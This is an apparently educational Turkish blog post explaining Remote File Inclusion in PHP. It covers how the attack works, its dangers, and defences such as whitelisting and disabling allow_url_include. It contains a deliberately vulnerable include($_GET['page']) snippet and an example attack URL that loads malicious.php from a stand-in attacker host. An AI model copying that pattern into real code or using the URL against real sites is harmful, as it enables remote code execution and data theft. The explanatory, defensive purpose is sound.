5 Ocak 2025 Pazar

Remote File Inclusion Nedir ?


Remote File Inclusion (RFI), Türkçesiyle Uzaktan Dosya Dahil Etme, bir web uygulamasının dış kaynaklardan (genellikle saldırganın kontrol ettiği bir sunucudan) dosya çağırmasına veya yüklemesine olanak tanıyan bir güvenlik açığıdır. Bu tür açıklar, genellikle web uygulamalarının kullanıcı girdilerini yetersiz şekilde doğrulaması nedeniyle ortaya çıkar.

RFI genellikle PHP tabanlı web uygulamalarında, özellikle de include, require, include_once ve require_once gibi fonksiyonların kullanıldığı durumlarda görülür. Eğer bu fonksiyonlara dinamik olarak bir dosya yolu atanır ve bu girdi doğrulanmazsa, saldırganlar dış kaynaklardan kötü amaçlı dosyalar dahil edebilir.

RFI Saldırısının İşleyişi

  1. Hedef Açığı Bulma: Saldırgan, dosya dahil etmek için kullanılan parametrelerin bulunduğu bir zayıf noktayı tespit eder. Örneğin:

    php
    <?php include($_GET['page']); ?>

    Bu kod, ?page= parametresi ile dinamik olarak bir dosya dahil etmektedir.

  2. Kötü Amaçlı URL Sağlama: Saldırgan, kötü amaçlı bir dosyanın bulunduğu URL'yi parametre olarak verir:

    bash
    http://hedefsite.com/index.php?page=http://saldirgan.com/malicious.php
  3. Kötü Amaçlı Kodun Çalıştırılması: Uygulama, saldırganın sunduğu uzaktaki dosyayı çağırır ve içeriğini çalıştırır. Bu dosya genellikle:

    • Yetkisiz erişim sağlar,
    • Veritabanı bilgilerini çalar,
    • Sistem üzerinde zararlı komutlar çalıştırır,
    • Sunucuya bir arka kapı (backdoor) bırakır.

RFI Saldırısının Tehlikeleri

  • Yetkisiz Erişim: Saldırgan, sunucuda istediği dosyaları okuma ve yazma yetkisi kazanabilir.
  • Sistem Ele Geçirme: Zararlı kodlar ile sunucu tamamen ele geçirilebilir.
  • Veri Hırsızlığı: Kullanıcı verileri, veritabanı bilgileri gibi hassas bilgiler çalınabilir.
  • DDoS ve Spam: Sunucu, saldırılar için bir botnet'e dönüştürülebilir.

Korunma Yöntemleri

  1. Kullanıcı Girdisini Doğrulama:

    • Dinamik dosya çağrısı gerekiyorsa, kullanıcı girdisi beyaz listeye göre doğrulanmalıdır.
    • Mutlaka sabit bir yol ile sınırlı kalınmalı:
      php
      $whitelist = ['home.php', 'about.php']; if (in_array($_GET['page'], $whitelist)) { include($_GET['page']); } else { echo "Geçersiz sayfa."; }
  2. allow_url_include Ayarını Kapatma:

    • PHP'deki allow_url_include ve allow_url_fopen direktifleri kapalı olmalıdır:
      ini
      allow_url_include = Off allow_url_fopen = Off
  3. Dosya Dahil Etme Yolunu Sınırlama:

    • Dinamik dosya çağrılarında dış kaynaklardan dosya çağrılmasına izin verilmemeli.
    • Mutlaka yerel dosya yolları kullanılmalı.
  4. Web Uygulama Güvenlik Duvarı (WAF):

    • Güvenlik duvarları, RFI saldırılarını tespit edip engelleyebilir.
  5. Kod Gözden Geçirme ve Güvenlik Testleri:

    • Web uygulaması kodları düzenli olarak incelenmeli.
    • Penetrasyon testleri ile açıklar tespit edilmelidir.


 

Benzer Yayınlar

Remote File Inclusion Nedir ?
4/ 5
Oleh

Abone Olun

Yazılarımızı beğeniyor musunuz?Abone Olun Yazılarımı Kaçırmayın.

Lütfen yorum yaparken şunlara dikkat ediniz:

Küfürlü, siyasi veya huzur bozucu yorumlar yapmamaya,
Reklam, spam gibi yorumlar yapmamaya.